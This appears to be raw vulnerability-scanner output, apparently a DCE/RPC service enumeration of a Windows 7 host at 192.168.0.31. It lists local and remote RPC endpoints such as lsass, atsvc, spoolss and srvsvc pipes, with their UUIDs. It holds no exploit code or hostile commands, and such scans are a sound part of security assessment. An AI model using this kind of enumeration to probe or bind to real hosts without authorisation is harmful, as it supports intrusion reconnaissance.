UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : LRPC-6a5e61415803aa8b5f

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : audit

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : securityevent

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : LSARPC_ENDPOINT

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : lsapolicylookup

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : lsasspirpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : protected_storage

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Local RPC service
Named pipe : samss lpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0767a036-0d22-48aa-ba69-b619480f38cb, version 1.0
Description : Unknown RPC service
Annotation : PcaSvc
Type : Local RPC service
Named pipe : OLEE2EABDF2F1CC4DB8806F2E443667

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0767a036-0d22-48aa-ba69-b619480f38cb, version 1.0
Description : Unknown RPC service
Annotation : PcaSvc
Type : Local RPC service
Named pipe : LRPC-8b64d3c8d2a71b92c5

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : OLEE2EABDF2F1CC4DB8806F2E443667

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-8b64d3c8d2a71b92c5

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : trkwks

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
Description : Unknown RPC service
Annotation : Base Firewall Engine API
Type : Local RPC service
Named pipe : LRPC-c32371f26b20099a16

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-c32371f26b20099a16

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
Description : Unknown RPC service
Annotation : Fw APIs
Type : Local RPC service
Named pipe : LRPC-c32371f26b20099a16

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
Description : Unknown RPC service
Annotation : Spooler function endpoint
Type : Local RPC service
Named pipe : spoolss

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
Description : Unknown RPC service
Annotation : Spooler base remote object endpoint
Type : Local RPC service
Named pipe : spoolss

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
Description : Unknown RPC service
Annotation : Spooler function endpoint
Type : Local RPC service
Named pipe : spoolss

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
Description : Unknown RPC service
Annotation : NSI server endpoint
Type : Local RPC service
Named pipe : OLE60FD199BEC7D47EE883E2569A4D1

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
Description : Unknown RPC service
Annotation : NSI server endpoint
Type : Local RPC service
Named pipe : LRPC-3a9a05e09411c28138

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
Description : Unknown RPC service
Annotation : WinHttp Auto-Proxy Service
Type : Local RPC service
Named pipe : OLE60FD199BEC7D47EE883E2569A4D1

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
Description : Unknown RPC service
Annotation : WinHttp Auto-Proxy Service
Type : Local RPC service
Named pipe : LRPC-3a9a05e09411c28138

Object UUID : 6c637067-6569-746e-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 666f7270-6c69-7365-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 666f7270-6c69-7365-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 736e6573-0000-0000-0000-000000000000
UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
Description : Unknown RPC service
Annotation : Impl friendly name
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : LRPC-ff27da8108ddf83ccf

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : IUserProfile2

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : OLEB07A03DF4E8045B2B507060FF5C9

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Local RPC service
Named pipe : senssvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Local RPC service
Named pipe : dhcpcsvc6

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 06bba54a-be05-49f9-b0a0-30f790261023, version 1.0
Description : Unknown RPC service
Annotation : Security Center
Type : Local RPC service
Named pipe : dhcpcsvc6

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : eventlog

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : AudioClientRpc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : Audiosrv

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : OLEBB55DDAAA2414D038A1656D7B778

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : dhcpcsvc

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
Description : Unknown RPC service
Annotation : NRP server endpoint
Type : Local RPC service
Named pipe : dhcpcsvc6

										None								8/26/01		8/20/20

		10736						None		192.168.0.31		tcp		445		DCE Services Enumeration		A DCE/RPC service is running on the remote host.		By sending a Lookup request to the portmapper (TCP 135 or epmapper
PIPE) it was possible to enumerate the Distributed Computing
Environment (DCE) services running on the remote port. Using this
information it is possible to connect and bind to each service by
sending an RPC request to the remote port/pipe.		n/a				
The following DCERPC services are available remotely :

Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\WIN7

Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\InitShutdown
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
Description : Security Account Manager
Windows process : lsass.exe
Type : Remote RPC service
Named pipe : \PIPE\protected_storage
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
Named pipe : \pipe\lsass
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86, version 1.0
Description : Unknown RPC service
Annotation : KeyIso
Type : Remote RPC service
Named pipe : \PIPE\protected_storage
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : b58aa02e-2884-4e97-8176-4ee06d794184, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \pipe\trkwks
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
Description : Scheduler Service
Windows process : svchost.exe
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
Description : Unknown RPC service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
Description : Unknown RPC service
Annotation : IP Transition Configuration endpoint
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
Description : Unknown RPC service
Annotation : XactSrv service
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\atsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\srvsvc
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1.0
Description : Unknown RPC service
Annotation : AppInfo
Type : Remote RPC service
Named pipe : \PIPE\browser
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
Description : Unknown RPC service
Annotation : Event log TCPIP
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
Description : DHCP Client Service
Windows process : svchost.exe
Annotation : DHCP Client LRPC Endpoint
Type : Remote RPC service
Named pipe : \pipe\eventlog
Netbios name : \\WIN7

Object UUID : 00000000-0000-0000-0000-000000000000
UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
Description : Unknown RPC service
Annotation : DHCPv6 Client LRPC Endpoint
Type : Remote RPC service
